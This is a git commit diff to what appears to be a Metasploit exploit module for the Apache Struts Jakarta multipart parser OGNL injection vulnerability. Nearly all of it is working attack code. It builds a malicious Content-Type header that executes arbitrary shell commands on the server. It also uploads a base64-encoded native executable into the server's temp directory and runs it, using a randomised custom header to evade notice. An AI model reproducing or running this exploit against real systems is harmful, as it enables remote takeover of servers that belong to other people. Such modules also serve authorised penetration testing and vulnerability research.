Allow native payloads
parent
2053b77b01
commit
53c9caa013
|
@ -9,14 +9,19 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Apache Struts Jakarta Multipart Parser Remote Code Execution',
|
||||
'Name' => 'Apache Struts Jakarta Multipart Parser OGNL Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a remote code execution vunlerability in Apache Struts
|
||||
version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed
|
||||
version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed
|
||||
via http Content-Type header.
|
||||
|
||||
Native payloads will be converted to executables and dropped in the
|
||||
server's temp dir. If this fails, try a cmd/* payload, which won't
|
||||
have to write to the disk.
|
||||
},
|
||||
'Author' => [
|
||||
'Nike.Zheng', # PoC
|
||||
|
@ -33,7 +38,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
[
|
||||
'Universal', {
|
||||
'Platform' => %w{ unix windows linux },
|
||||
'Arch' => [ ARCH_CMD, ARCH_JAVA ],
|
||||
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
|
||||
},
|
||||
],
|
||||
],
|
||||
|
@ -48,9 +53,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('HTTP::Method', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ])
|
||||
OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ])
|
||||
]
|
||||
)
|
||||
|
||||
@data_header = "X-#{rand_text_alpha(4)}"
|
||||
end
|
||||
|
||||
def check
|
||||
|
@ -61,7 +68,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
ognl << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))|
|
||||
|
||||
begin
|
||||
resp = send_http_request(ognl)
|
||||
resp = send_struts_request(ognl)
|
||||
rescue Msf::Exploit::Failed
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
@ -76,18 +83,20 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
def exploit
|
||||
case payload.arch.first
|
||||
when ARCH_JAVA
|
||||
datastore['LHOST'] = nil
|
||||
resp = send_payload(payload.encoded_jar)
|
||||
#when ARCH_JAVA
|
||||
# datastore['LHOST'] = nil
|
||||
# resp = send_payload(payload.encoded_jar)
|
||||
when ARCH_CMD
|
||||
resp = execute_command(payload.encoded)
|
||||
else
|
||||
resp = send_payload(generate_payload_exe)
|
||||
end
|
||||
|
||||
#require'pp'
|
||||
#pp resp.headers if resp
|
||||
require'pp'
|
||||
pp resp.headers if resp
|
||||
end
|
||||
|
||||
def send_http_request(ognl, method: 'LOLWUT', stuff: '')
|
||||
def send_struts_request(ognl, extra_header: '')
|
||||
uri = normalize_uri(datastore["TARGETURI"])
|
||||
content_type = "%{(#_='multipart/form-data')."
|
||||
content_type << "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
|
||||
|
@ -102,18 +111,16 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
content_type << "}"
|
||||
|
||||
headers = { 'Content-Type' => content_type }
|
||||
if stuff
|
||||
headers['stuff'] = stuff
|
||||
if extra_header
|
||||
headers[@data_header] = extra_header
|
||||
end
|
||||
|
||||
#puts content_type.gsub(").", ").\n")
|
||||
#puts
|
||||
#puts content_type.length
|
||||
#puts
|
||||
|
||||
resp = send_request_cgi(
|
||||
'uri' => uri,
|
||||
'method' => method,
|
||||
'method' => datastore['HTTPMethod'],
|
||||
'headers' => headers
|
||||
)
|
||||
|
||||
|
@ -125,37 +132,44 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
def execute_command(cmd)
|
||||
ognl = ''
|
||||
ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
|
||||
ognl << %q|(#cmd=@org.apache.struts2.ServletActionContext@getRequest().getHeader('stuff')).|
|
||||
ognl << %q|(#r.addHeader('decoded',#cmd)).|
|
||||
ognl << %Q|(#cmd=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).|
|
||||
|
||||
# You can add headers to the server's response for debugging with this:
|
||||
#ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
|
||||
#ognl << %q|(#r.addHeader('decoded',#cmd)).|
|
||||
|
||||
ognl << %q|(#os=@java.lang.System@getProperty('os.name')).|
|
||||
ognl << %q|(#cmds=(#os.toLowerCase().contains('win')?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).|
|
||||
ognl << %q|(#p=new java.lang.ProcessBuilder(#cmds)).|
|
||||
ognl << "(#p.redirectErrorStream(true))."
|
||||
ognl << "(#process=#p.start())."
|
||||
ognl << %q|(#p.redirectErrorStream(true)).|
|
||||
ognl << %q|(#process=#p.start())|
|
||||
|
||||
ognl << %q|(#r.addHeader('end','end'))|
|
||||
|
||||
send_http_request(ognl, stuff: cmd)
|
||||
send_struts_request(ognl, extra_header: cmd)
|
||||
end
|
||||
|
||||
def send_payload(jar)
|
||||
def send_payload(exe)
|
||||
|
||||
ognl = ""
|
||||
ognl << %q|(#stuff=@org.apache.struts2.ServletActionContext@getRequest().getHeader('stuff')).|
|
||||
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#stuff)).|
|
||||
ognl << %q|(#f=@java.io.File@createTempFile('metasploit','.jar')).|
|
||||
ognl << %Q|(#data=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).|
|
||||
ognl << %Q|(#f=@java.io.File@createTempFile('#{rand_text_alpha(4)}','.exe')).|
|
||||
#ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
|
||||
#ognl << %q|(#r.addHeader('file',#f.getAbsolutePath())).|
|
||||
ognl << %q|(#f.setExecutable(true)).|
|
||||
ognl << %q|(#f.deleteOnExit()).|
|
||||
ognl << %q|(#fos=new java.io.FileOutputStream(#f)).|
|
||||
|
||||
# Using stuff from the sun.* package here means it likely won't work on
|
||||
# non-Oracle JVMs, but the b64 decoder in Apache Commons doesn't seem to
|
||||
# work and I don't see a better way of getting binary data onto the
|
||||
# system. =/
|
||||
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#data)).|
|
||||
ognl << %q|(#fos.write(#d)).|
|
||||
ognl << %q|(#r='com.opensymphony.xwork2.dispatcher.HttpServletResponse').|
|
||||
ognl << %q|(#fos.close()).|
|
||||
|
||||
ognl << %q|(#context[#r].addHeader('stuff',#d[0])).|
|
||||
ognl << %q|(#p=new java.lang.ProcessBuilder({'/usr/bin/java','-jar',#f.getAbsolutePath()})).|
|
||||
ognl << %q|(#context[#r].addHeader('stuff',#f.getAbsolutePath())).|
|
||||
ognl << %q|(#p.start()).|
|
||||
ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
|
||||
ognl << %q|(#p.start())|
|
||||
|
||||
ognl << %q|(#context[#r].addHeader('end','end'))|
|
||||
send_http_request(ognl, stuff: [jar.pack].pack("m").delete("\n"))
|
||||
send_struts_request(ognl, extra_header: [exe].pack("m").delete("\n"))
|
||||
end
|
||||
|
||||
end
|
||||
|
@ -165,8 +179,8 @@ Doesn't work:
|
|||
|
||||
ognl << %q|(#cl=new java.net.URLClassLoader(new java.net.URL[]{#f.toURI().toURL()})).|
|
||||
ognl << %q|(#c=#cl.loadClass('metasploit.Payload')).|
|
||||
ognl << %q|(#m=@ognl.OgnlRuntime@getMethods(#c,'run',true).get(0)).|
|
||||
ognl << %q|(#context[#r].addHeader('meth',#m.toGenericString())).|
|
||||
ognl << %q|(#m=@ognl.OgnlRuntime@getMethods(#c,'main',true).get(0)).|
|
||||
ognl << %q|(#r.addHeader('meth',#m.toGenericString())).|
|
||||
ognl << %q|(#m.invoke(null,null)).|
|
||||
|
||||
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
|
||||
|
|
Loading…
Reference in New Issue